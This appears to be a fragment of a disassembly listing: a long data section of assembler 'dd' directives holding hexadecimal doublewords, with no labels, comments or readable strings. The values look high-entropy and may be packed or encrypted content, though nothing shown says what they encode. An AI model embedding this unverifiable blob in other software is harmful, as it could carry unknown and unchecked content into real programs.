		dd 2F5B8D27h, 429D08D0h, 0B111AA4h, 280ED410h, 234EA900h
		dd 1BE61395h, 0AEB81086h, 96442DF9h, 2B8312D8h,	1BE488E8h
		dd 0C1249058h, 0A3E14CDEh, 9C882432h, 186ECDE0h, 1BF0363h
		dd 656BF62Bh, 1060B937h, 0BE8F67F0h, 759D0BDDh,	0F0E16403h
		dd 7AA0100Dh, 0EA36009Fh, 0BE37F249h, 0E202917Ch, 0D0FC2853h
		dd 44D0E04Fh, 0C12584B5h, 4280B61h, 0A8402CD0h,	7B2FC3DDh
		dd 5824C100h, 0B478628Bh, 886E6267h, 80456A55h,	80649008h
		dd 6D63DEFAh, 9AF8F633h, 0E9601CB9h, 0E11A3023h, 0D6BA70h
		dd 3C1E2EA1h, 0C3B826FAh, 13E6B16h, 4A1BBC8Ch, 91542877h
		dd 369D5Ch, 87CE580Ah, 2DC9A6Bh, 0D8D2AF1h, 0A47189FFh
		dd 16D66589h, 96E10090h, 2051B98Bh, 0DA102D1Ah,	0F844F274h
		dd 319E40FCh, 40E16A6Fh, 959F2990h, 696D04E7h, 9C06A275h
		dd 2E429D7Ch, 0ED38914Ah, 0CC8B303Eh, 0E90B0C00h, 0DEC81CC2h
		dd 0CC465C1Bh, 0B1670480h, 7C0F527Eh, 0C095FE5Ch, 0FC29A61Fh
		dd 75DF040Ch, 0C58F8947h, 726CCD1Dh, 0EC900024h, 0E3F24DDFh
		dd 9B820380h, 665523FEh, 0A19098CCh, 0B15CB57Ah, 68C1088h
		dd 0A8B0812Fh, 28B4BD77h, 78A14B80h, 0C5FBB2h, 4E17D0EFh
		dd 0A6AA5D87h, 8F227890h, 9F2C3C63h, 72EFBB16h,	0F0D9FC08h
		dd 0A448E00h, 1CB1EDCFh, 3808A2Ch, 91EFFFDDh, 8C4CB882h
		dd 9F76FC00h, 73DC5EA2h, 4434E16h, 4B09E778h, 70C476h
		dd 26E31C79h, 0D93FB080h, 25921100h, 0DD63AF04h, 2724024Ch
		dd 4BEA7816h, 1207A449h, 0F8EEFCh, 0AEBFDEF0h, 8D1B9B40h
		dd 0CAE15565h, 0D794C8h, 9E44F22h, 0AC0C784Ch, 45718670h
		dd 0D380B8BEh, 53D25E9Dh, 0FA04008Bh, 0FFC57955h, 0B02D4DC6h
		dd 49B8028Dh, 0BF086525h, 60D0A726h, 0CD829401h, 0CE4D8A0h
		dd 311160B1h, 3BD624h, 0F35D5588h, 0A4023497h, 8DB63DFEh
		dd 6284C144h, 3AB5D10h,	8C80E8BBh, 9EA14C85h, 81372507h
		dd 0FA98F090h, 0D415847Dh, 92E827D0h, 70368B3h,	287A865Dh
		dd 0ED086698h, 1BC3B02h, 0CEFC1483h, 78B85854h,	0A325404Ch
		dd 0CCA04C47h, 0FB81F37Dh, 45513718h, 0C2D4E8F7h, 3A48654Ch
		dd 74204F64h, 11432Ah, 0C0841AB9h, 0BB04D9E8h, 0F22D1000h
		dd 2359132Bh, 2640E9Fh,	0EEC0B890h, 189B37A3h, 69BBC41Fh
		dd 3F150781h, 0C0CC59F5h, 0DE8500DBh, 9414E37Ch, 0A40C31B0h
		dd 3013A6D0h, 2153077Dh, 0C0F4FCE9h, 0CA0933E0h, 940AE400h
		dd 311589E6h, 903B10FFh, 32A61819h, 1E259139h, 86F60C72h
		dd 70FA6D45h, 0D858641Dh, 26E41E00h, 0F54DD3h, 536B3B74h
		dd 7F1792F6h, 7DBAEB00h, 7A037718h, 5E9A00E1h, 3BB9EFF3h
		dd 8E00214Eh, 4BADB0BDh, 308B3FCh, 691242BAh, 0AFD87650h
		dd 0A630DAFAh, 3F64891Ch, 998F00F2h, 782AC0E2h,	0F8009509h
		dd 9CE96602h, 0F03BA8F5h, 0BD8D0C6Dh, 333907A6h, 1F7CD7F8h
		dd 1E9D800h, 0A9173F79h, 3D0D0330h, 42BBDBCAh, 0BD7EA3FFh
		dd 92C4B00Ah, 32BCB403h, 206FD8B0h, 414C819Eh, 0D115A1Dh
		dd 3189C40h, 0A9165846h
		dd 0B5131D9Ch, 7EE9C5B0h, 80A93F38h, 5BFCA1B0h,	0A08A7CB1h
		dd 0F473AD0h, 10C26525h, 9F8319E1h, 0DB78867Eh,	4944A5h
		dd 5ADF59AAh, 0EFD1D438h, 0DC6D9B00h, 0DB18C0C5h, 24AE0091h
		dd 5A10F3ECh, 0F112AB3Fh, 461DF71h, 59803AFFh, 809B99BBh
		dd 0AE0AD911h, 0F87837FAh, 596ED680h, 333832h, 51661A1Ch
		dd 0E25FEEBAh, 0D97B0B7Dh, 0C0007648h, 0DD8425C4h, 2CB15B0h
		dd 0BB129C3Bh, 8B04449Eh, 97AD0255h, 3AA420FEh,	37416A5h
		dd 805418A8h, 0F872AF28h, 0A3A7E0E1h, 1C0C1676h, 0A1713766h
		dd 5EB6004Dh, 0E7F1A2BDh, 9300882Ch, 1AABA1E9h,	526E64h
		dd 38B3E084h, 0EF504BF5h, 428FD10Ah, 91608474h,	50C60313h
		dd 76CDCCEh, 9A9D4A92h,	0F0FF07EFh, 0D4015049h,	6002EFEh
		dd 81861994h, 18809020h, 3830E803h, 1491D4F2h, 401F850Eh
		dd 0A5FE57DDh, 61BA1D4Bh, 3C2E54AEh, 9E2BA481h,	0DABC4C99h
		dd 0B9953B00h, 8B19E7F9h, 179E0C2Ch, 9259BE77h,	142D24h
		dd 0A076198Ah, 125449BEh, 14269C7Bh, 0E1B50248h, 6853197Ch
		dd 158F8003h, 0A0893C21h, 9F40D900h, 0BE98CC06h, 0DC2E5606h
		dd 44E8AD4Eh, 18E7C51Dh, 17B8C2A3h, 2884A283h, 0A1005F78h
		dd 0BA842685h, 221603A4h, 9F536E96h, 0C5ABF48Bh, 3FB2D1B8h
		dd 3027D700h, 1959DF9Dh, 4D0F0317h, 263CD245h, 28F86824h
		dd 8B7CCE02h, 0A6486EDEh, 180C905Ch, 118637B3h,	1500473Bh
		dd 7515DDCh, 9D41DBh, 136F7880h, 0B1D6DAECh, 0C2625213h
		dd 53974430h, 0F6640201h, 4CDB4BFBh, 9260EC94h,	0E5447271h
		dd 2B5E00E4h, 0A4B247DDh, 163BE8C8h, 0E82851ADh, 291FA53Fh
		dd 0F80F219Eh, 6E6A492h, 619D6CC2h, 0DC50C132h,	0A15F08E1h
		dd 54376480h, 2FA9D02h,	0A0467E12h, 1BA64CA0h, 0CE070092h
		dd 6885C062h, 2F570D80h, 0AFD312D6h, 8FB4089Bh,	287D9E84h
		dd 1D707340h, 0C00A727h, 29BC6915h, 3CCA813Eh, 59E1F892h
		dd 22C2DD98h, 31A786C0h, 3CD00021h, 52170133h, 6B092370h
		dd 48FA447h, 92438D40h,	31184524h, 8A81FF7Fh, 0A16400C6h
		dd 5BE8141Bh, 0AD2B83AEh, 151390C3h, 33443Ch, 9CCABFAFh
		dd 218EB80Ch, 8E56A238h, 0FFB12C26h, 1418D648h,	532280B2h
		dd 12ECCC81h, 0A3ECB891h, 842D5895h, 2A7F1280h,	1B00C2A4h
		dd 6CF49DDFh, 13FB7858h, 4FED02h, 2EBF3320h, 995947EFh
		dd 312B8948h, 0D822E150h, 3E5BD104h, 286DC0B3h,	89098BE3h
		dd 444834Ch, 0EC8C76D8h, 21134220h, 31C007Eh, 85C1B837h
		dd 18A07BF8h, 8E09FEDBh, 81BA3E62h, 4AEA05BCh, 42F94064h
		dd 663B0864h, 0A09D001Ah, 7EFEE0CCh, 9F561CE2h,	78D126F0h
		dd 0ACADEE01h, 8186F698h, 0F82F5644h, 0AA1DE80Bh, 31BC04C1h
		dd 27F9005Fh, 22DEFD80h, 6B725901h, 0A3F7EFFCh,	67F6892h
		dd 311EA675h, 3AF85417h, 13427541h, 4867CD84h, 8605A400h
		dd 0AD998930h, 89F7A031h, 57D00C5Ah, 0B447574Ch, 7E9310h
		dd 0AD17A6F2h, 0F18A61h, 497A7B01h, 487D0A0Eh, 503AA309h
		dd 14B402A9h, 331040F7h, 0AD9E8053h, 72150217h,	80487027h
		dd 719ABEDCh, 6C00455Ch, 0ED3010C6h, 49195635h,	0FDC190EAh
		dd 941C9DACh, 80D4D5B1h, 73588168h, 26CCFF19h, 3AA700FEh
		dd 0CB04B206h, 84B07DBCh, 139508E1h, 604C53D5h,	8B6D1984h
		dd 0AD98E9DEh, 0F4A736A1h, 27AA003Eh, 24B3DC0Ch, 440A78D3h
		dd 94D49230h, 0A24095E4h, 386E3CDEh, 62922500h,	1CC823CEh
		dd 221F01D4h, 7F164A93h, 4D918001h, 92EFA448h, 0B6CA03ACh
		dd 130230A2h, 940786C8h, 1081B52Ch, 76400305h, 2F44A022h
		dd 0B8CDBC40h, 621F984Fh, 0EF00E092h, 0BAE5A002h, 285F0E1h
		dd 0B8934573h, 0A48F76B3h, 1294AC82h, 7F1C0321h, 722BF432h
		dd 0FF9888B8h, 80BA74A8h, 0C36F93F8h, 4C8F80h, 0DAD9F6F3h
		dd 0B39D2412h, 0C33A5038h, 95A7350Ah, 8349FC20h, 98A3744h
		dd 2F88D311h, 60ABA700h, 69764056h, 4C5EB23Dh, 742BC054h
		dd 0A896D448h, 54E97B4h, 0FDD50FF3h, 6C74805Eh,	7400A898h
		dd 918BA7F5h, 90907E5h,	0B6530317h, 0BFA9F022h,	90153022h
		dd 0A6130178h, 0DE4A09CCh, 80752198h, 0E50A49E2h, 0DAFF397Ch
		dd 0F4A42382h, 0D0C127CCh, 0A8850893h, 2230290h, 0EBD6FDD4h
		dd 88B1EF2Ch, 12847690h, 6420D4F8h, 3942F3F7h, 22802F84h
		dd 77D264A6h, 0AC19DF21h, 0A4993297h, 0D864D6h,	3E218D04h
		dd 67CBAC9Bh, 0DF1FB400h, 10807C42h, 8E6501AFh,	0EB3BE244h
		dd 679EFC96h, 0AE60E4B0h, 0E3A07041h, 0CD4B00B1h, 0FBE507Eh
		dd 0E672448Fh, 800B4E16h, 485CEC04h, 0E1823706h, 0BE68CE02h
		dd 0B253AE6Bh, 0CC58C3A0h, 0B4ECE1C0h, 0F7E00BD9h, 0B0114402h
		dd 0D64C016h, 0E4AD5F29h, 5D7B00BFh, 0A82C2845h, 305200EDh
		dd 5116816Bh, 320BE83Ch, 0B9AB867Eh, 0C472D45Ch, 8DCCA700h
		dd 39607856h, 0E0B63605h, 98406780h, 0EB2F6249h, 77B10EFFh
		dd 0BE0D135h, 0BB2DFE82h, 8CA4990Eh, 195A006Ah,	0AC4D1036h
		dd 257F30D0h, 0E4E2F549h, 7AF74B00h, 61729B2Eh,	25DE0038h
		dd 73DDCD75h, 50937CCBh, 0D0AFB100h, 3729824h, 0A1B60878h
		dd 0D5C840E2h, 0D8E31B9Bh, 5B815FEEh, 53384314h, 0CCF013B4h
		dd 77033066h, 4D674233h, 0D734A097h, 0EC5E5C28h, 91EE7B00h
		dd 9EE47C92h, 8362F491h, 0E0A400BDh, 2095608h, 0C6F56805h
		dd 0F8C01604h, 49280033h, 0F7B570C3h, 65C14B00h, 8DA7F1Ah
		dd 0AC38CF68h, 82246497h, 0BC27ECC8h, 596C3029h, 1E6E073Fh
		dd 446FE0B3h, 9E648278h, 0C1901885h, 6FA38124h,	844C87C2h
		dd 0EB5E8384h, 39430050h, 0C6781AB3h, 0D500ECB9h, 25DF7754h
		dd 0E9090A61h, 4950B0A2h, 9517B84Ch, 98280805h,	49A8002Bh
		dd 832680EDh, 2712566Bh, 50C1CB53h, 18337517h, 0F9A0A40Ch
		dd 194A0339h, 94081C25h, 409B4454h, 0D829030h, 686E539Fh
		dd 96314448h, 24A43C41h, 200054C8h, 5B2A8236h, 70AD71Ch
		dd 6A422D12h, 802E64F9h, 0BFFC4536h, 80707E48h,	0F13BEC3Dh
		dd 0AEAA00C5h, 0F7136679h, 9077AF08h, 7C0B5EB8h, 98725093h
		dd 7EFBF4h, 39A70B81h, 0A62D9F33h, 84A35400h, 0D3F861D9h
		dd 61274C1Bh, 0E56D7309h, 0C4191C8Bh, 0E4131942h, 0D15C9717h
		dd 0C2AC09DBh, 68E83292h, 900B3A9h, 2EFFA8F2h, 2A1CA679h
		dd 209CE893h, 38FB416Ch, 0F033CCD0h, 25A07C3Fh,	0F030AD01h
		dd 3C2ED69Ah, 370A8412h, 0EF83B89Fh, 0E05796F9h, 0D027C36h
		dd 97CBC991h, 0E4BAE199h, 7B7D0FB0h, 0FD4AA002h, 73E48BA4h
		dd 20A59710h, 0B484B2A8h, 0BD32500h, 92D0A2Eh, 0A36CA037h
		dd 6EDC00FEh, 0E225104Dh, 57419DB4h, 642CB421h,	6CE0F12Ch
		dd 3CB3BB89h, 9BACD582h, 0EBA4212Dh, 74E4D622h,	89856800h
		dd 5CD36477h, 0B8E6008Ch, 8A4C03AEh, 4E4C46CEh,	73860142h
		dd 7819F66Bh, 4C165822h, 913C6974h, 3C27A728h, 0E4E0F420h
		dd 990042CDh, 632249EBh, 0F6D83D40h, 0BEC00235h, 868FC587h
		dd 2090F8E1h, 38777D8h,	0C44BACECh, 9C42FBDAh, 70DA4419h
		dd 3A0AB625h, 4C4C8E41h, 21A94462h, 707A5DBh, 55B5A080h
		dd 0CF6F1CE1h, 6237032Ch, 0C0CF678Fh, 9C0C166Ch, 0E024DA4Bh
		dd 0E5CA1C00h, 0F125155h, 0C922CE32h, 91E1F883h, 85BF8AC8h
		dd 0BD3B7424h, 0A792F603h, 3839011Fh, 0A2F0DB06h, 89B1FCC7h
		dd 0CA2670A4h, 0FB40047Fh, 0F6429h, 0DD269547h,	175B6D44h
		dd 23C47F52h, 1FE0262Fh
		dd 7F0E209Bh, 0CFA5EBE2h, 4265F8Ch, 90B4AF40h, 0A751034Eh
		dd 0C6812DF4h, 6CC8A0E8h, 1D4EA4Ch, 0B68BDA7Ah,	0BC36BBF7h
		dd 8A7F1912h, 0B2E0064h, 0AEE8CADCh, 8280ED8Eh,	5611D4B6h
		dd 0C05A73F6h, 0AADA9C42h, 93A7C06Fh, 595C12E7h, 68F01060h
		dd 6C043089h, 1E3A22E1h, 0F420D34Ah, 0B04852h, 0B1F97BC8h
		dd 23E03A99h, 0F63A800h, 689D2537h, 7EB92C2Dh, 1EE94080h
		dd 23389221h, 0D98101CAh, 0C4AEDEF7h, 2E3087E0h, 0D9ACDDC5h
		dd 76C8397Fh, 91D58E07h, 1E50A0B7h, 31BE83AAh, 7DD805E7h
		dd 92983F3h, 98602850h,	795E87h, 3D27A75Ch, 0A6379878h
		dd 0BF441490h, 0BD95009Eh, 0EBCF3FB3h, 7CA416DFh, 1FA6CB11h
		dd 0F7038300h, 930ACAC8h, 4C02A27Ch, 0AE4E046Dh, 5A0C4C47h
		dd 996C40E1h, 2E0E2B2Dh, 0A530BC16h, 8808ACCCh,	91727199h
		dd 9A233Fh, 0C1985C35h,	26229D0Ah, 940967Eh, 38E92D95h
		dd 9873B0h, 0A61C8CBAh,	13187C2h, 9FCA6152h, 3D483480h
		dd 1CCF05E0h, 14CA4026h, 30761913h, 0DA959D30h,	83A7FF0Bh
		dd 40C40045h, 19674BD4h, 718A8117h, 98323Ch, 91944303h
		dd 578998Dh, 6468A6A3h,	0FF84612Bh, 9014383Fh, 39E60078h
		dd 28AE660Fh, 0FCE700D9h, 7F711D6Ah, 18597774h,	0C4DA8BF4h
		dd 382F2A0h, 267537F4h,	0C8BC9DDFh, 0CD0065ACh,	4F89DC67h
		dd 1E13234Ch, 0FA94BEh,	977BEF81h, 0D1B1718h, 3C624603h
		dd 4DAED250h, 795425Ch,	5212B090h, 7E87133Ah, 0DD094D17h
		dd 8CA36848h, 0FF79667Fh, 0F75F1E0Eh, 276780A6h, 17CE25h
		dd 9F651219h, 99F3B935h, 3CBCB056h, 3C4B02E7h, 0DBF8D7D1h
		dd 3FA400ACh, 2B8B03C4h, 1619D93Ah, 68659F80h, 0BB483400h
		dd 4D30031Ch, 81111415h, 3BDB0E99h, 0D65360F2h,	29B5696Eh
		dd 1340F777h, 0B47830C4h, 805EBE3h, 46A664D2h, 0BD718040h
		dd 70296DFh, 9CEE21B9h,	348543h, 25619EE5h, 0F60BB562h
		dd 8464DC0Fh, 1321FAA4h, 40E6157Fh, 579D2E1Dh, 241C8A4Ch
		dd 0C43E5816h, 0B8244895h, 1DA02097h, 0EE006419h, 5D01AD73h
		dd 0DB0952h, 17AFC283h,	0A6AE7906h, 0F78FA0B4h,	80D58EE0h
		dd 0AA55F037h, 0FFBF00F3h, 9B867F4Fh, 0BA5D8B98h, 0DA378050h
		dd 0B681FDh, 4BF54119h,	0BC699E84h, 0FF55D0AEh,	82BC3D70h
		dd 0D1210B95h, 0DBC43A48h, 0E8B29E34h, 165990F0h, 444C8641h
		dd 0C2DFDC9Ch, 0D52291C0h, 84072095h, 8900B7CBh, 0BCFF3B08h
		dd 15141A93h, 0E8868B16h, 0C66C19C2h, 541F3880h, 7114B24Ch
		dd 21D0996Bh, 7E3E8897h, 91981691h, 0D52B958Eh,	0AF90D47Eh
		dd 0FB54204Eh, 0A90027BCh, 0DDB63502h, 262A65h,	0C0FF98FEh
		dd 59576FD9h, 0C4ECF550h, 40784141h, 0B50B6D80h, 2000266Ah
		dd 0E7752EFh, 0BCE8775h, 89F7AE8Eh, 0D0F5080Fh,	0FF956F81h
		dd 9281BC17h, 34371802h, 0ED344C00h, 9590148Ah,	0AF2514F8h
		dd 6066341Ah, 853D0E00h, 590117DCh, 88D30080h, 0E244DAC2h
		dd 4B40B84h, 0BD4F9764h, 327B66C0h, 7727F982h, 991004C6h
		dd 58425F40h, 9600F05Dh, 8B8D1630h, 6A440255h, 61B0798Ch
		dd 0FDEB03E7h, 3E40F2E5h, 99005169h, 6CBA0DAFh,	48A06182h
		dd 4B5AA616h, 44E57664h, 5B728807h, 2A09FD80h, 0A6C826F3h
		dd 9C5C14ACh, 0F4953FC7h, 141E5244h, 5D3C4A22h,	5D7F40B4h
		dd 0D1D3D00Bh, 4BB2631Ch, 0AD1A8540h, 91A5DABAh, 5D401ACh
		dd 0F4615B3Fh, 0F00DE6Ch, 8BE3E8A3h, 1FAFE57Fh,	8098ABB1h
		dd 3CE7F2AAh, 7013BB09h, 3499F53Ah, 12241826h, 28797AA8h
		dd 6170CE03h, 8351E8E2h, 90D5F823h, 69132C82h, 26FE268Ch
		dd 27F8C8Ch, 8C00A959h,	277E8E86h, 8B24EBh, 3674ED9Dh
		dd 809ECF06h, 4A707CEDh, 0A3D2A420h, 0FFE10249h, 981D0425h
		dd 0B40392C0h, 0EFD6930Eh, 0C61E8B54h, 2F10C88h, 0AC417612h
		dd 8B58974Ch, 0E92448D5h, 556E00FBh, 731ED1C8h,	62004A25h
		dd 0DE260858h, 9EAFE861h, 0D6A36080h, 163FCFA2h, 0EB047BD7h
		dd 3A02E21Ch, 74D5681Bh, 8094A8A8h, 9CE70894h, 0E35802B5h
		dd 0F5DA841Eh, 9191F059h, 0CC197625h, 75D8101Bh, 24F62Ah
		dd 62B5A3E6h, 770B45Eh,	5F3F9C01h, 0E329E12Eh, 0EB100878h
		dd 94AD1454h, 8C88D2E8h, 2F80499h, 0DDF6C805h, 53803058h
		dd 0B712E109h, 74944937h, 0E432BF4h, 31342899h,	0B7FF6D20h
		dd 595A95FBh, 0D8C01864h, 1302A43Dh, 77F56DEDh,	0DB3FF858h
		dd 84A0783Ch, 0EF50757Ch, 0EB429D64h, 7B773A11h, 9C829CBBh
		dd 71988317h, 0A0112D90h, 40312A03h, 0A0DF4BADh, 489527EBh
		dd 0F8895402h, 47B81C98h, 98D8D500h, 0D8797EEh,	5C73135Dh
		dd 47D498E9h, 41FF258Ch, 0C60030E5h, 0CB4D4E9Ch, 0D4444089h
		dd 2003F891h, 0D00BFF22h, 3F3677h, 0E666E3D0h, 4F45424Bh
		dd 34B23E01h, 1DA6DF6Bh, 30B5DA11h, 567AA0C3h, 0A2044D0Bh
		dd 0FD5802CAh, 0C4F92C86h, 60404604h, 0DCCA63B8h, 14180111h
		dd 809CD4AFh, 48DD4F87h, 15B80184h, 619390C9h, 8FFF2Ah
		dd 8AA6D642h, 156538B6h, 0D86D28DDh, 6D939988h,	3E54A040h
		dd 2C05A2B5h, 0BEC04BFEh, 0E6807CDCh, 0DCB349B2h, 45A6C611h
		dd 566FC900h, 0FD782CDh, 0FBDA3405h, 0AE38A7h, 7D5C4ED3h
		dd 17134029h, 78C14C53h, 47034298h, 0BA87FFBCh,	44C882C4h
		dd 0DBE700B6h, 51C55DAh, 1F014791h, 7E0BA322h, 242980A1h
		dd 0C0C7261Ch, 41D3EF6Dh, 40007431h, 679C303h, 564CEA0h
		dd 72CC87CBh, 42B070DFh, 0B3BE225h, 0CB22691h, 60401AE4h
		dd 23D9E403h, 9F6E0700h, 69FF26D4h, 0AC9CC41Fh,	5360889Bh
		dd 2302EE05h, 0B072DFF6h, 0EDE02E96h, 3AD82E52h, 80DBC63Eh
		dd 0AB4321A1h, 9E6E5C1h, 0EA3DAA6h, 2F4034CEh, 0A4864025h
		dd 4F6FDA00h, 19FA4853h, 0E0219544h, 2A94ACE4h,	64026420h
		dd 374C1269h, 3E7840A7h, 2833EA3Fh, 0E40038ECh,	64D8DC74h
		dd 2CC6811Bh, 0E683BE1h, 0C40999C9h, 1903A0C0h,	0CBBA18B9h
		dd 0AE6CA4D0h, 65700757h, 97103DA4h, 921CBA2Ch,	0DBE4D0D5h
		dd 6D071A08h, 5E0A9647h, 0C51915C3h, 74437000h,	1A908C3h
		dd 1CBC31AFh, 3D697803h, 0ABB22D0h, 1B8DFDDBh, 1A4189B0h
		dd 82F2BCC3h, 47E49D20h, 2A30B8DFh, 145C1502h, 0EC2BF7FEh
		dd 753872C0h, 0E40150B6h, 0EF8FFC95h, 0D7CC2C82h, 87D27B2h
		dd 0FC00A44Ch, 46CA5CFEh, 26919EFh, 25C881B1h, 8882641Ah
		dd 60FACBF8h, 8C59CF00h, 546C3CA4h, 0E98A0B86h,	9818D21Fh
		dd 3F0048CDh, 0D4F0F3C8h, 27DB6h, 595B0C01h, 6728A1Fh
		dd 0B0E7B200h, 0EF5A27AAh, 0DF6E393Fh, 2C141AACh, 0A1AC4264h
		dd 1510C4D9h, 65A87C8Ah, 913C40A4h, 0E6B270B7h,	89A34600h
		dd 83B6BD04h, 0C2C10005h, 9BDD381Ch, 0FA1D9E42h, 0F8A95443h
		dd 6962C380h, 575C1EEh,	0C4C944F9h, 226891A6h, 129C2009h
		dd 0C34DF801h, 0DD613339h, 27020060h, 0CC4C7E18h, 300CAA30h
		dd 2703FE15h, 74640A95h, 0A4C0D42Ah, 841BAB38h,	24A7CBFh
		dd 0B13D488Ch, 7D9D0A7Ch, 9C274080h, 3205D21Dh,	4CE36BEEh
		dd 4218E0C7h, 82119C83h, 1A7B6310h, 0FFCD3012h,	0C520E419h
		dd 9DF85C20h, 0AD3AB010h, 16CF007h, 89F00AB1h, 70B06798h
		dd 0A0A89A33h, 96977CD0h, 8C400A74h, 6CAA0350h,	1100A337h
		dd 0DD66482Fh, 43E194h,	0DE56490Ah, 4C8A0E6Bh, 0F4D31909h
		dd 7EF0600Bh, 18632E23h, 0EC9588FCh, 0D3179083h, 5C29EE40h
		dd 0BE8798D4h, 6248060h
		dd 0B403E465h, 7034513Bh, 0DC8CC82Ch, 8CAF4BA7h, 5A73F864h
		dd 6E006BECh, 0B830DB85h, 4FE4078h, 0BFA08C08h,	0C0E8ACAFh
		dd 69F9888Bh, 9C6F86Bh,	0DA058C91h, 0F7C76180h,	0F8007192h
		dd 26541864h, 1ECC43Bh,	8CF3F0EDh, 0E8490B70h, 1C005CCAh
		dd 7E3D6A9Bh, 3225399h,	13F08AECh, 5CA0D707h, 0B60A7F3Ch
		dd 0DC4776B0h, 55B77805h, 0B92A004h, 3BA31488h,	2EB1B290h
		dd 0F4150610h, 375C2D95h, 8096C814h, 409B8FB1h,	0B703C7Ch
		dd 87ED1100h, 0D32D54Ah, 9A95A08Bh, 2C36484Eh, 6624DC80h
		dd 8D00B77Ch, 0B1A704Dh, 5D9566Ch, 25DFEA11h, 9F54E085h
		dd 9DA6FF00h, 0B919B595h, 3D5D004Dh, 0DA5944BFh, 84242716h
		dd 40400036h, 1E1422h, 2E6BE3B2h, 3FE8AA2Ah, 7352A407h
		dd 0F8FA3E3Bh, 40F05949h, 6C6EDFCh, 880C9101h, 0E464465Bh
		dd 3DB2CDD8h, 9B0F45ACh, 9CA0B92Eh, 4DF68DBh, 0B32C8C00h
		dd 0CD34386Ah, 6B2217E4h, 6260093h, 9675DA29h, 9F103000h
		dd 0FEF54F71h, 77C007A1h, 1051E824h, 0E5D8AA8Fh, 81C93700h
		dd 8E27DEFFh, 71010689h, 28207FD5h, 950005E0h, 860939EDh
		dd 0E61985h, 0CD9AA566h, 4DCB16C2h, 883FF37Eh, 0B5540048h
		dd 7783C73Fh, 2081F75Eh, 0CDEE9062h, 3E0BD072h,	0BC337500h
		dd 0DC9255B8h, 0F8C0000Dh, 0E821514Ch, 7A00DAA5h, 0E0FE2A29h
		dd 3E3782Bh, 9419808Eh,	54E8761Bh, 0F0003BCDh, 5B5DE8C1h
		dd 610D507h, 9B1F88B8h,	313C4965h, 3CE96379h, 0B590E04Ch
		dd 0DCF70047h, 0AC911530h, 80E29E50h, 2D12AF1Dh, 735FF1C0h
		dd 2972C25h, 0A3015504h, 989078C0h, 4D1D80E9h, 6900D3CAh
		dd 593E02B6h, 0AD8C4C72h, 897550h, 882B654Bh, 0C8DE103Fh
		dd 6C76058h, 287A27B6h,	0C60E0149h, 0C1E579B5h,	7FE7C84Bh
		dd 11B85060h, 3146E0h, 30B4EC9Dh, 0CF946796h, 0E20F9000h
		dd 898BD6D5h, 19873A9h,	4FB25AFAh, 9C49A480h, 0D07AF941h
		dd 0A1009A80h, 0CDBA8E25h, 12811C1h, 0DF875F27h, 801D846Fh
		dd 66820431h, 3086780h,	0F7B6A86Bh, 0A90A2DD5h,	0A84AF001h
		dd 3C4F6E80h, 3729C996h, 0C0419F1Fh, 7066DC28h,	0D4B4D80Fh
		dd 7A6D63E7h, 0C82100ACh, 70FE09D0h, 8666DA3Fh,	0FE3855C8h
		dd 1B7E00D4h, 942CABCFh, 0C8E85D75h, 1C432A00h,	12E936C1h
		dd 0DA410371h, 0E2CE9874h, 13CB3CE8h, 0DCC80B03h, 0F248B76h
		dd 8DCD7E69h, 7A2D0A02h, 5EA6FC90h, 0ACF8CC00h,	0E56A02A0h
		dd 950D032Fh, 3B529FDFh, 0FD04800h, 712DB3FCh, 0E274A6h
		dd 0F070BCDAh, 78232882h, 43845D49h, 9B6E00E0h,	39048F7Eh
		dd 481164ABh, 6800C173h, 378C5046h, 6F18EC67h, 0DA408150h
		dd 433530F7h, 648B9AB0h, 30F67101h, 0EFD21B7Bh,	3CDCA0DAh
		dd 4F9A2h, 0F5F3ED86h, 0CD2378DAh, 17470E07h, 0F1933A5h
		dd 60624E38h, 0F972A2F5h, 79CE30E7h, 0DB104FA9h, 0A7A89C00h
		dd 927BA6CAh, 9A3F000Dh, 0F98528D3h, 8101B66Fh,	50E8547Eh
		dd 822A780h, 0CFC5C802h, 8489317Ah, 83652C80h, 4028B528h
		dd 0EE00C0D2h, 9EF3A171h, 26E8C2h, 0D1037890h, 0D0A26EADh
		dd 82038AE6h, 14334DCFh, 0C26EB27h, 88A08099h, 0F460F969h
		dd 17F74FF1h, 0F3F61C40h, 7E59FECh, 0D08C3F12h,	493E26B5h
		dd 0C73B4701h, 0CD952C23h, 0C4100021h, 50CEEF9Eh, 231F812h
		dd 0A26260D2h, 0E8804845h, 514798C1h, 77903891h, 4041533Fh
		dd 7A99B5F4h, 8B510E61h, 6DC0BC27h, 98300CAh, 0BA39C8FFh
		dd 4B059287h, 513C2C95h, 0FD710C00h, 1EEACD7Dh,	0A2782Dh
		dd 6F31018Ch, 2A0E4C92h, 6077F32Ch, 73CECF72h, 2C2D4D55h
		dd 0C6E8D002h, 9A200D7Bh, 380C64F3h, 2049A722h,	9C62CE15h
		dd 485CDB03h, 0DEE86BFFh, 2870F6CFh, 0FE4B5812h, 0DAB80Bh
		dd 5FDFE12Fh, 0D22A04C7h, 8C38CB82h, 1075484h, 3B401D36h
		dd 0F4A6B290h, 0F8CA0734h, 40572D98h, 92D2301Ch, 76F1D001h
		dd 5ACF2722h, 0A60F9C50h, 802D0911h, 14131E98h,	66D6801h
		dd 22847249h, 9711980h,	9F422F5Eh, 2DC2EF00h, 2BA5FA2Ah
		dd 99880564h, 202ECDFEh, 44DE8CE0h, 3CC0D860h, 0A2ED71h
		dd 9101E4BBh, 98EF72D7h, 66D2431Dh, 216386C0h, 50D0A739h
		dd 3191087Eh, 7A296C0Fh, 25598011h, 28A67F1Bh, 0DC35037Bh
		dd 0D53DEAADh, 8F3FCCF8h, 2B7DF918h, 0F499B0h, 0A2CAFFB4h
		dd 58B501EAh, 0E80F5514h, 100693ACh, 24E1258Ch,	805CF5F9h
		dd 56EE747h, 9F3C04C4h,	3C799817h, 0EECB8A81h, 0C1680015h
		dd 70977493h, 0D700E6F9h, 0A98BE5D0h, 13DC5EF5h, 22FAF0B4h
		dd 0B8AA5834h, 1D1011C8h, 0F6677EE9h, 3D780CE9h, 4200FD61h
		dd 4ACF4192h, 905E93h, 330C1295h, 0A1E28EA0h, 166D2E00h
		dd 0B9E0A85Ch, 38E769E9h, 0C0D63081h, 0BD0850E8h, 0C90420F1h
		dd 9B22719Eh, 487460C8h, 0A3265C08h, 0B8370164h, 860FA576h
		dd 4B792799h, 0EC7106B1h, 115287CEh, 96146FE8h,	80F4F6F7h
		dd 0D914B675h, 641B0EA2h, 24944BD2h, 8058D110h,	0DBCE59Fh
		dd 0D97707E9h, 11F84C70h, 408AA17Fh, 205E7518h,	0C0197A80h
		dd 0CD64B061h, 43001A9Eh, 0DD5BF834h, 999A8030h, 0D391076Ch
